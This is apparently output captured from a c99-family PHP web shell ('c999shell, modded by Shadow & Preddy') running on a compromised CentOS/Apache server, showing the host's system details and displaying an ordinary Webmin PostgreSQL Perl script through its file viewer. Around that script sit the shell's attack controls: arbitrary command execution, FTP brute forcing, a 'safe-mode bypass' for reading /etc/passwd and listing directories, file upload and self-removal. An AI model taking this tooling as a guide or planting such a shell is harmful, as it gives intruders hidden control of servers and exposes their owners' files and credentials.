!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/postgresql/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     save_seq.cgi (2.57 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Create, modify or delete a sequence

require './postgresql-lib.pl';
&ReadParse();
&error_setup($text{'seq_err'});
&can_edit_db($in{'db'}) || &error($text{'dbase_ecannot'});
$access{'edonly'} && &error($text{'dbase_ecannot'});
$access{'seqs'} || &error($text{'seq_ecannot'});

if ($in{'delete'}) {
    # Just drop the sequence
    $sql = "drop sequence ".&quote_table($in{'old'});
    &execute_sql_logged($in{'db'}, $sql);
    &webmin_log("delete", "seq", $in{'old'}, \%in);
    }
else {
    # Validate inputs
    $in{'old'} || $in{'name'} =~ /^\S+$/ || &error($text{'seq_ename'});
    if (!$in{'old'}) {
        @seqs = &list_sequences($in{'db'});
        &indexof($in{'name'}, @seqs) >= 0 &&
            &error($text{'seq_eclash'});
        }
    $in{'min_def'} || $in{'min'} =~ /^\d+$/ ||
        &error($text{'seq_emin'});
    $in{'max_def'} || $in{'max'} =~ /^\d+$/ ||
        &error($text{'seq_emax'});
    $in{'inc'} =~ /^\d+$/ || &error($text{'seq_einc'});
    $in{'cache_def'} || $in{'cache'} =~ /^\d+$/ ||
        &error($text{'seq_ecache'});

    if (&supports_sequences() == 2 && $in{'old'}) {
        # Need to drop and re-create
        if (&indexof($in{'old'}, &list_sequences($in{'db'})) >= 0) {
            $sql = "drop sequence ".&quote_table($in{'old'});
            &execute_sql_logged($in{'db'}, $sql);
            }
        $sql = "create sequence ".&quote_table($in{'old'}).
               " increment ".$in{'inc'}.
               ($in{'min_def'} ? "" : " minvalue ".$in{'min'}).
               ($in{'max_def'} ? "" : " maxvalue ".$in{'max'}).
               " start ".$in{'last'}.
               ($in{'cache_def'} ? "" : " cache ".$in{'cache'}).
               ($in{'cycle'} ? " cycle" : "");
        }
    elsif ($in{'old'} && !$recreate) {
        # Alter the current sequence
        $sql = "alter sequence ".&quote_table($in{'old'}).
               " increment ".$in{'inc'}.
               ($in{'min_def'} ? " no minvalue"
                       : " minvalue ".$in{'min'}).
               ($in{'max_def'} ? " no maxvalue"
                       : " maxvalue ".$in{'max'}).
               ($in{'last_def'} ? "" : " restart ".$in{'last'}).
               " cache ".$in{'cache'}.
               ($in{'cycle'} ? " cycle" : " no cycle");
        }
    else {
        # Create a new one
        $sql = "create sequence ".&quote_table($in{'name'}).
               " increment ".$in{'inc'}.
               ($in{'min_def'} ? "" : " minvalue ".$in{'min'}).
               ($in{'max_def'} ? "" : " maxvalue ".$in{'max'}).
               " start ".$in{'last'}.
               ($in{'cache_def'} ? "" : " cache ".$in{'cache'}).
               ($in{'cycle'} ? " cycle" : "");
        }
    &execute_sql_logged($in{'db'}, $sql);

    if ($in{'old'}) {
        &webmin_log("modify", "view", $in{'old'}, \%in);
        }
    else {
        &webmin_log("create", "view", $in{'name'}, \%in);
        }
    }
&redirect("edit_dbase.cgi?db=$in{'db'}");


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0147 ]--